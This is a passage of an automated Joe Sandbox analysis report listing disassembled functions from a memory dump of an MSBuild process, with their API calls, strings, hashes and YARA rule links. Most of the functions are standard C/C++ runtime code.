Instruction ID: e1586b2641ddf465875d9622ddbbabc739ad76614693ec7c0d0d1a057604b9d3
Opcode Fuzzy Hash: 092c38c67d57109e8c5c44f51d133c21473957da2c7f1d63822d9f19b294ac06
Instruction Fuzzy Hash: 3A216275C0420DAFDB05DF90D85A9FEBFB8FB04308F14855AE91167261E7705648DF90

Function 00540B81 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(E06D7363,00000001,00000003,BS,?,?,?,?,0053E642,?,00588EB8), ref: 00540BE1

Strings

BS, xrefs: 00540B8C
BS, xrefs: 00540BCE, 00540BD1
uS, xrefs: 00540BB1

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: ExceptionRaise
String ID: BS$BS$uS
API String ID: 3997070919-2206541984
Opcode ID: e1124269f4bf9cebe6574ce1e2b1bd7a7d60b0c34b683b0bc2485acf126c4bcb
Instruction ID: 8743a6e4ccbb16be51a9759d8c086da25a12cc0b164b9960dc5b549162f352b5
Opcode Fuzzy Hash: e1124269f4bf9cebe6574ce1e2b1bd7a7d60b0c34b683b0bc2485acf126c4bcb
Instruction Fuzzy Hash: B8018F76900208ABD7019F6CD884BAEBFB8FF44718F254159EE55AB390D7B0AD00CBD0

Function 00557C11 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(2BFA49FB,00000000,00000000,00000000), ref: 00557C74

Part of subcall function 0055B1B2: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0055D114,?,00000000,-00000008), ref: 0055B213

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00557EC6
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00557F0C
GetLastError.KERNEL32 ref: 00557FAF

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 088280c3f3322a66491bf1bbf9a4510f727498fa40987aaf298985efd1d8c208
Instruction ID: 4fbf7a6943184051d0c028231f02dc064fe9c1bd9b8601f1f3d850ac1a83dc45
Opcode Fuzzy Hash: 088280c3f3322a66491bf1bbf9a4510f727498fa40987aaf298985efd1d8c208
Instruction Fuzzy Hash: 4ED199B5D042489FCF14CFA8D8949EDBFB5FF48300F28416AE856EB352D630A949CB60

Function 00567370 Relevance: 6.3, APIs: 4, Instructions: 275COMMON

Download Yara Rule

APIs

__FindPESection.LIBCMT ref: 005674A1
VirtualQuery.KERNEL32(83000000,2BFA49FB,0000001C,2BFA49FB,?,?,?), ref: 00567586
__FindPESection.LIBCMT ref: 005675C3
__FindPESection.LIBCMT ref: 005675FD

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: FindSection$QueryVirtual
String ID:
API String ID: 2992484814-0
Opcode ID: 323e48d8b8d08ef91de50fac3319ebba96658270041aac83c517efd03ebddc17
Instruction ID: 8f7d52035f1aaf9361f41c8e2b97acc93c30f34545eea08c55619960dac2fa39
Opcode Fuzzy Hash: 323e48d8b8d08ef91de50fac3319ebba96658270041aac83c517efd03ebddc17
Instruction Fuzzy Hash: AEA1D271E0461A8FDB20CF58D9846ADBFB4FB58328F11056AD81AE7391E731ED45CB90

Function 00545AD3 Relevance: 6.2, APIs: 4, Instructions: 192COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00545ADA
UnDecorator::getSymbolName.LIBCMT ref: 00545B6C
DName::operator+.LIBCMT ref: 00545C70
DName::DName.LIBVCRUNTIME ref: 00545D13

Part of subcall function 0054368A: shared_ptr.LIBCMT ref: 005436A6

Part of subcall function 00543889: DName::DName.LIBVCRUNTIME ref: 005438D7

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Name$Name::$Decorator::getH_prolog3Name::operator+Symbolshared_ptr
String ID:
API String ID: 1134295639-0
Opcode ID: e08a689be15dfcaed692f8e7758472f3a9f4beb48af5ecf2cfec68cd988d5085
Instruction ID: b403f0b902e961dab6667395f94a42a6fc06ff6f15852ea8d538b554378cb288
Opcode Fuzzy Hash: e08a689be15dfcaed692f8e7758472f3a9f4beb48af5ecf2cfec68cd988d5085
Instruction Fuzzy Hash: 2C715A71D006199FDB05CFA4D886AEDBFB4FF09318F14501AE942BB252E7309D48DB60

Function 0054614E Relevance: 6.2, APIs: 4, Instructions: 169COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00546283

Part of subcall function 005433C6: __aulldvrm.LIBCMT ref: 005433F7

DName::operator+.LIBCMT ref: 005461E4
DName::operator=.LIBVCRUNTIME ref: 005462C8
DName::DName.LIBVCRUNTIME ref: 005462FA

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator=__aulldvrm
String ID:
API String ID: 2973644308-0
Opcode ID: eb3fe6bcec78a16d1778c550908613eed267dd70cf757a5a7a6ea6ebe477dac2
Instruction ID: d86121d32e947466586a06139f643f4ccfc9e72382077ba6a5573020e88006f8
Opcode Fuzzy Hash: eb3fe6bcec78a16d1778c550908613eed267dd70cf757a5a7a6ea6ebe477dac2
Instruction Fuzzy Hash: 36619EB4904256EFCB04CF98D885BEDBFB4FB56308F14845AE9416B361C7B09A40DF91

Function 0051B7F0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 109COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000010), ref: 0051B813

Strings

operation failed with error , xrefs: 0051B864
OS_Rng: , xrefs: 0051B843
P@, xrefs: 0051B8E9

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: ErrorLast
String ID: operation failed with error $OS_Rng: $P@
API String ID: 1452528299-2227021971
Opcode ID: 1cdcac5a31a7b39ab1d5edd5b6dd1bf23f4053624ce40617683c2b6aa9ed0fe3
Instruction ID: ab2645774e2d84d6bb8c95844b5da00fe88cedc599a1c9abba14ca5f5f483051
Opcode Fuzzy Hash: 1cdcac5a31a7b39ab1d5edd5b6dd1bf23f4053624ce40617683c2b6aa9ed0fe3
Instruction Fuzzy Hash: 265137B1D00208EFCB04DFA9D951BEEBBB4BF48304F2085ADE415A7381DB745A44CBA4

Function 0040BFA0 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0040BFDA
__aulldiv.LIBCMT ref: 0040C000
__aulldiv.LIBCMT ref: 0040C028
__aulldiv.LIBCMT ref: 0040C048

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: 65d3cfe4fa528ce89fd7b48a1a6bedfd0315e7fba1d6097c3959966b510edf4b
Instruction ID: 47f3b379de0998b82e2930487bc4e82bb65d937bb9591fbe310c438744623592
Opcode Fuzzy Hash: 65d3cfe4fa528ce89fd7b48a1a6bedfd0315e7fba1d6097c3959966b510edf4b
Instruction Fuzzy Hash: 9C210EB5611309ABEB11DF14CC82F6E7B65FB84700F24C458F918AF385C674F9118B98

Function 0053F9E8 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000400,?,?,?,004F3DE7,00000000,00000000,?,?,?,004F3DE7,?,?,?,00000000), ref: 0053FA05
GetLastError.KERNEL32(?,?,?,004F3DE7,?,?,?,00000000,00000000), ref: 0053FA11
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,004F3DE7,00000000,00000000,?,?,?,004F3DE7,?,?,?,00000000), ref: 0053FA37
GetLastError.KERNEL32(?,?,?,004F3DE7,?,?,?,00000000,00000000), ref: 0053FA43

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: 6d39be065fe90efab31012ee02951afa3c0934df97b372dc79f955a7d97018b2
Instruction ID: c53a42e144967778dbcaaa26afbfc6addd16343f446ecb49e252394a07b1528d
Opcode Fuzzy Hash: 6d39be065fe90efab31012ee02951afa3c0934df97b372dc79f955a7d97018b2
Instruction Fuzzy Hash: A8011D32A00159BBDF220F95DC08D9B3F2AFBD97A0F118024FE1596224D731C861EBA1

Function 00564ECA Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,005614E8,00000000,00000001,0000000C,00000000,?,00558003,00000000,00000000,00000000), ref: 00564EE1
GetLastError.KERNEL32(?,005614E8,00000000,00000001,0000000C,00000000,?,00558003,00000000,00000000,00000000,00000000,00000000,?,005585DD,?), ref: 00564EED

Part of subcall function 00564EB3: CloseHandle.KERNEL32(FFFFFFFE,00564EFD,?,005614E8,00000000,00000001,0000000C,00000000,?,00558003,00000000,00000000,00000000,00000000,00000000), ref: 00564EC3

___initconout.LIBCMT ref: 00564EFD

Part of subcall function 00564E75: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00564EA4,005614D5,00000000,?,00558003,00000000,00000000,00000000,00000000), ref: 00564E88

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,005614E8,00000000,00000001,0000000C,00000000,?,00558003,00000000,00000000,00000000,00000000), ref: 00564F12

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 78a1af474d07b0761b00585404e8e391e417f1564a84e024ca867a01b0b9ae7e
Instruction ID: 93e8362ec68e7f539381af621a390f8b073cdb562b1e8d5ead4fe94aa1b2800d
Opcode Fuzzy Hash: 78a1af474d07b0761b00585404e8e391e417f1564a84e024ca867a01b0b9ae7e
Instruction Fuzzy Hash: B8F01C36500129BBDF222FA5EC0C98A7F66FB583B1B004120FA2897120D7328864EF91

Function 0043FB30 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 369COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00440042

Strings

`XA, xrefs: 0044002F
`@, xrefs: 00440038

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: 94bbff2c4aa6e3746f96dd626325fc5e0fdb57f17e9e4a5228a33a1c4a6dde45
Instruction ID: ff9cc42e0d33c3f91bf3e8bfabf481f09bb71c26de26eee4bf6d80892f67b890
Opcode Fuzzy Hash: 94bbff2c4aa6e3746f96dd626325fc5e0fdb57f17e9e4a5228a33a1c4a6dde45
Instruction Fuzzy Hash: 02F11DB5C1021C9BCB15EF91DC91AEEB778BF58304F4041AEE50A67252EB346B89CF64

Function 0055465A Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 291COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 005547D1

Strings

+, xrefs: 0055472F
-, xrefs: 00554722

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: __aulldiv
String ID: +$-
API String ID: 3732870572-2137968064
Opcode ID: 0eb73403c6ad4f2bb151b54228d5cb837cf2bad058a209e406f441fac7a18394
Instruction ID: 4f247e70a663acb8c3d52ea08d6a81d749537a2582cef42202ba693493f8c53a
Opcode Fuzzy Hash: 0eb73403c6ad4f2bb151b54228d5cb837cf2bad058a209e406f441fac7a18394
Instruction Fuzzy Hash: 7CA1C330910259AFDF14CE69C8606FE7FB1FF5A32AF14855BEC659B281D330998A8F50

Function 00420E20 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 00420FF9

Strings

}{, xrefs: 00420F61
n{, xrefs: 00420FB1

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: __aulldiv
String ID: n{$}{
API String ID: 3732870572-1042045087
Opcode ID: bb7ac5a190c8fe079a9ac3989b4573cd2aec50649a18d77b221becce7819b8f2
Instruction ID: eaf1b40876ff27981f157cc11598657eb5f85387195161b8bd6187d6507d60f7
Opcode Fuzzy Hash: bb7ac5a190c8fe079a9ac3989b4573cd2aec50649a18d77b221becce7819b8f2
Instruction Fuzzy Hash: 7D910FB1E012189FDB54CBA8DC81BAEB7F6FB88315F248129F908F7350D678AD458B54

Function 00417CB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

std::ios_base::clear.LIBCPMTD ref: 00417D4B
std::ios_base::clear.LIBCPMTD ref: 00417F39

Part of subcall function 00417740: std::ios_base::clear.LIBCPMTD ref: 00417871

Strings

c[A, xrefs: 00417D7B

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: std::ios_base::clear
String ID: c[A
API String ID: 1443086396-3980679666
Opcode ID: c3c3a1955cd24c94458fe5c032f2d95a437b70977dc51dd2280b8989c3ec1e59
Instruction ID: 6e4bc77fd97e1a9c42cdcb5b2fe03ce96a4964bfb67eb0318dfd9c44b1d444d5
Opcode Fuzzy Hash: c3c3a1955cd24c94458fe5c032f2d95a437b70977dc51dd2280b8989c3ec1e59
Instruction Fuzzy Hash: 7B91C5B4E08249CFDB14CF95C495AEEFBB1BF48314F24815AD9166B391C738A982CF94

Function 005481D7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBCMT ref: 00548232
DName::DName.LIBVCRUNTIME ref: 0054837D

Strings

..., xrefs: 00548334

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: NameName::Replicator::operator[]
String ID: ...
API String ID: 3707554701-440645147
Opcode ID: d566767256c45ac9024f25040ca0f9eb3eb5680452e3da8451354c959b671c0f
Instruction ID: 7c1d151daa1fdf41879bfbd09309a77717fd8c1bd198b0cf7ac1fb5391288f9b
Opcode Fuzzy Hash: d566767256c45ac9024f25040ca0f9eb3eb5680452e3da8451354c959b671c0f
Instruction Fuzzy Hash: A151C274908645AFDB15CFA8D8896FDBFF4BF16708F08885ED941A7361CB709A08CB50

Function 0041A590 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 136COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCPMTD ref: 0041A637

Strings

HHA, xrefs: 0041A627, 0041A62F, 0041A62A, 0041A632
HHA, xrefs: 0041A5A6

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: _memcpy_s
String ID: HHA$HHA
API String ID: 2001391462-78794114
Opcode ID: d22e5025005132be8ae8e07c2e5cc95db775846b98abc1004e97a32bd5275221
Instruction ID: 58fc70c8d1e743df8a21e54f01107f1756ebb3a48e4e49249704d6386acab13f
Opcode Fuzzy Hash: d22e5025005132be8ae8e07c2e5cc95db775846b98abc1004e97a32bd5275221
Instruction Fuzzy Hash: D4514AB9D01209ABDF04DF94D845AEF77B5BB44304F14842AE81997341E738EAA1CB66

Function 0041FDE0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 136COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCONCRTD ref: 0041FF7F

Strings

parse error, xrefs: 0041FE63, 0041FE92
parse_error, xrefs: 0041FE0D, 0041FE3C

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: std::exception::exception
String ID: parse error$parse_error
API String ID: 2807920213-1820534363
Opcode ID: f355ce6c3ad416c09b839d3162abb17505c55fdb5d828bc7099df4b343841507
Instruction ID: b35db039f0496b3b154c34afae38ce97680a7f6d54da98b63714a7fcbb345e09
Opcode Fuzzy Hash: f355ce6c3ad416c09b839d3162abb17505c55fdb5d828bc7099df4b343841507
Instruction Fuzzy Hash: EC51FE75D00248AFCB04DFA5D891ADEBBB5BF48304F10C19EE90AAB351DB346A85CF94

Function 005478C4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 005479C4

Part of subcall function 0054368A: shared_ptr.LIBCMT ref: 005436A6

Strings

amp, xrefs: 00547960
cpu, xrefs: 0054796F

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: NameName::shared_ptr
String ID: amp$cpu
API String ID: 2125921051-2542064945
Opcode ID: 0a978f6666f21e7a2572c74bff3a0ae62f5ae6c462e1d02818d8be69e98e94c7
Instruction ID: a4d0f1cdb0f4c3c86660b698ae3bc36252cfffd7a370057d30f631594d00f0d4
Opcode Fuzzy Hash: 0a978f6666f21e7a2572c74bff3a0ae62f5ae6c462e1d02818d8be69e98e94c7
Instruction Fuzzy Hash: 7131807190821EAFCB04DF98C845AFDBFB4BB99318F10405AE585A7361D7309A04CB90

Function 0054051C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

___unDName.LIBVCRUNTIME ref: 00540549

Part of subcall function 005496F8: ___unDNameEx.LIBVCRUNTIME ref: 00549711

InterlockedPushEntrySList.KERNEL32(0040F01D,0040F01D,?,?,?,?,?,?,?,?,?,0040F01D,?,0058E940), ref: 005405C4

Strings

@X, xrefs: 005405A5, 005405CA

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Name___un$EntryInterlockedListPush
String ID: @X
API String ID: 723550680-3927199268
Opcode ID: 227ca6a570cde2c246336002fd2555bf695669cbe09e84dec2d86bdc94294ec0
Instruction ID: df260370169ace51d469760d7011fdbb54e4a96fff24df410436cdc31a6c4d77
Opcode Fuzzy Hash: 227ca6a570cde2c246336002fd2555bf695669cbe09e84dec2d86bdc94294ec0
Instruction Fuzzy Hash: 8221D731500205AFDB11DF68CC89DEA7FB8FF8536CB245069E5059B281E672DE46CB90

Function 005672A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

__FindPESection.LIBCMT ref: 005672E9
__FindPESection.LIBCMT ref: 00567330

Strings

uV, xrefs: 005672A6

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: FindSection
String ID: uV
API String ID: 3341428096-879881710
Opcode ID: 6db0b88c1412987f114ec55f2907211f7ca3cc8bb38a2f1ba2eedb8865635bc2
Instruction ID: 661ab4177a07af66d8fe5b21dea799d538a8981b05d13e8cdccb76cfcd0d1b94
Opcode Fuzzy Hash: 6db0b88c1412987f114ec55f2907211f7ca3cc8bb38a2f1ba2eedb8865635bc2
Instruction Fuzzy Hash: 6D21FB32B0422A4BCF349A2CDC846AA7B5ABB4833CB1A4719DC68573C5DB30EC41D6D4

Function 005463B7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 005463CE
DName::DName.LIBVCRUNTIME ref: 00546453

Strings

A, xrefs: 00546433

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: NameName::
String ID: A
API String ID: 1333004437-3554254475
Opcode ID: 2fdc20fddfea1591c3d5a697cac88cf68f1fc6810f6cfe2fbcf50ae7afa78082
Instruction ID: ad5c5cdc900119de4e1c1a943c798a011e003d9e89420341421d5f873e963e72
Opcode Fuzzy Hash: 2fdc20fddfea1591c3d5a697cac88cf68f1fc6810f6cfe2fbcf50ae7afa78082
Instruction Fuzzy Hash: 9C219D74904149AFDF04DF94D846BEC7FB1FB86308F10C859E9456B261C7709A49EB42

Function 0040E300 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0040E314
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040E3C1

Part of subcall function 0053F2A2: _Yarn.LIBCPMT ref: 0053F2C1
Part of subcall function 0053F2A2: _Yarn.LIBCPMT ref: 0053F2E5

Strings

bad locale name, xrefs: 0040E3CB

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 09efe5c459f684f080d25be1aa42f4a05728932db351713f5b067b284370b649
Instruction ID: f7ef2f4ab1df595a199d7dad6d9cd8243b94916aedc5e8d5d18da55d8c9c26c6
Opcode Fuzzy Hash: 09efe5c459f684f080d25be1aa42f4a05728932db351713f5b067b284370b649
Instruction Fuzzy Hash: E831F8B4E04209DFDB04CF98D995BAEFBB1FF48304F248199D805AB381C775AA51CBA5

Function 004164F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCPMTD ref: 004165CB

Strings

eVA, xrefs: 0041650C, 0041651E, 00416533, 00416591, 0041659D, 004165AA
eVA, xrefs: 00416567, 00416545, 00416553, 0041655D

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: _memcpy_s
String ID: eVA$eVA
API String ID: 2001391462-2010160217
Opcode ID: 840fe47f7f40b0dd22249d9de1a3239d75facf5a1c0f6b941722fd50a3e2e93c
Instruction ID: 9ab3e6916cf0d860965d67e495f956fdb17b34ad4b651c815909af831e30d601
Opcode Fuzzy Hash: 840fe47f7f40b0dd22249d9de1a3239d75facf5a1c0f6b941722fd50a3e2e93c
Instruction Fuzzy Hash: 2531AA74A04208EFDB04CF98D094BEEB7B5BF48344F2481A9D8489B346D775AE85DF94

Function 00544B73 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00544BB6
DName::operator+=.LIBCMT ref: 00544BF6

Strings

void, xrefs: 00544BD8

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: NameName::Name::operator+=
String ID: void
API String ID: 2247604192-3531332078
Opcode ID: 6ab67c0c92cd683935c3d760e861924ecaa3ee2f924fa67f1b4545954e850829
Instruction ID: 0b70565bd5bc2618c294dadaf4d02abc9ed392641c077eee4745f215ef411b4f
Opcode Fuzzy Hash: 6ab67c0c92cd683935c3d760e861924ecaa3ee2f924fa67f1b4545954e850829
Instruction Fuzzy Hash: 0F1151B584421AAACF04EFA4C85ABFEBFB8FF44318F00455AE445A7295DB749744CF90

Function 00415540 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0041557C

Strings

`XA, xrefs: 00415569
`@, xrefs: 00415572

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: 3128ecd62594a78fb7fb2ec53101d4ae7a17aa0d33a748a3408eb6d821d1f301
Instruction ID: df04170afd1a3dfcbc914767939652a0ad6efa564f7c33baab53c77d9c69497a
Opcode Fuzzy Hash: 3128ecd62594a78fb7fb2ec53101d4ae7a17aa0d33a748a3408eb6d821d1f301
Instruction Fuzzy Hash: ABF0FFB1D00209EFCF04DFA8D95599EBFB5AB81300F9441A9E404BF345DA35AF50CB95

Function 004155B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004155EC

Strings

`XA, xrefs: 004155D9
`@, xrefs: 004155E2

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: d6477d560bd7f9c2ddf8b8d26ef843029050b0c67818177b9e3097335a4db553
Instruction ID: 7c3d0727f933d4e7c8f886826d2ab3f0ea7b6c3e84c16c462248bb29cb776f76
Opcode Fuzzy Hash: d6477d560bd7f9c2ddf8b8d26ef843029050b0c67818177b9e3097335a4db553
Instruction Fuzzy Hash: 3AF049B1D00108EBCB04DFA8DD5699EBFB5EB81302F4041A8E404BB305EA35AE60CBA5

Function 004157F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0041582C

Strings

`XA, xrefs: 00415819
`@, xrefs: 00415822

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: cc232e951552d4bacc71d99b8678dc54753144998b42ffd1852ff0a63ee73d17
Instruction ID: 47261bf98c4c5b738f29456a61e0917be9c8d398335f4a949e932ca84a5df04e
Opcode Fuzzy Hash: cc232e951552d4bacc71d99b8678dc54753144998b42ffd1852ff0a63ee73d17
Instruction Fuzzy Hash: B6F0FFB1D0010CEBCB04DFACD95599EBFB5AB91300F9441A9E805BB346DA359E60CB95

Function 00415780 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

